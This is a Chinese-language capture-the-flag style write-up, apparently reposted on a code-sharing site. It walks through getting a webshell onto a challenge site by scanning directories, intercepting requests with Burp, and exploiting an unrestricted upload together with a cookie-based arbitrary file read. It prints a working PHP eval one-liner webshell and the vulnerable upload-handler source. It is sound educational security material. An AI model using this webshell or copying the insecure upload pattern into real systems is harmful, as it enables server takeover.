6. webshell文件上傳分析溯源


這道題也是借助大佬的幫助才成功,具體我們來看:

既然人家掃描發現后台目錄有文件上傳,我們也不能落后,順便拿出了傳說中的御劍,並進行一波掃描:

發現了幾個比較有用的目錄,特別是upload1.php跟upload2.php兩個上傳頁面

我們先來訪問upload1.php:

點擊確定后是upload2.php,竟然是一片空白

不過中間好像有個上傳的頁面一閃而過,我們用burp抓包,來一頁一頁看頁面

果然有這個頁面,但是抓包的cookie引起了我們的注意:

Cookie: uploadmd5=verify%2F5a9300926f7fc020.txt

我們查看源代碼:

竟然還有一個隱藏的提交表單

<input type="hidden" name="verify" value="5a9300926f7fc020"/>

我們解碼這個 : 5a9300926f7fc020   ----->    結果是 :  1524990922

感覺好像跟題目沒有一點關系的好吧

但是我們又突然發現它是以 .txt 結尾的,這是不是會存在任意文件讀取漏洞,我們稍后嘗試,我們進行下一步上傳

我們直接構造 1.php 內容為  <?php @eval($_POST["joker"]);?> 進行上傳

 

太棒了,我們直接用菜刀鏈接,等等,上傳路徑去哪里了......

分析數據包可能是upload_file.php....我們訪問試一下

mmp,什么鬼....就卡了好久好久...

突然想到還有一個可能包含任意文件讀取的點,我們重新抓包

verify%2F5a9300926f7fc020   ------>   upload_file.php 

激動啊,我竟然看到了源代碼,我們記錄下來

<?php 
$path="uploadfile/";//上傳路徑  
$verify=$_POST["verify"];
$time=date("Ymd");
if($_FILES["filename"]["name"])  
{  
$file1=$_FILES["filename"]["name"];  
$file2 = $path.$time.'_'.$verify.'_'.$file1;  
$flag=1;  
}  
if($flag) $result=move_uploaded_file($_FILES["filename"]["tmp_name"],$file2);  
if($result) echo "上傳成功!";  
?> 

發現包含了上傳路徑!!!good!!!

$result=move_uploaded_file($_FILES["filename"]["tmp_name"],$file2);  

關鍵在這一句,$file2 可能保存的就是文件的上傳路徑

$file2 = $path.$time.'_'.$verify.'_'.$file1; 

其中:     $path="uploadfile/"
                $verify=$_POST["verify"];  
我想到了那個隱藏的提交表單,其中value="5a9300926f7fc020"
                $time=date("Ymd");  
Ymd不就年月日,那今天就是20180429

這樣一來上傳的路徑不就是   admin/uploadfile/20180429_5a9300926f7fc020_1.php

我們訪問,並用菜刀鏈接:

 

 

后來才發現還有upload.php,御劍估計老了,我們用任意代碼的漏洞查看

竟然是cookie的生成過程,哈哈哈

到此為止,掌握方法,順便告訴我們cookie的重要性

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM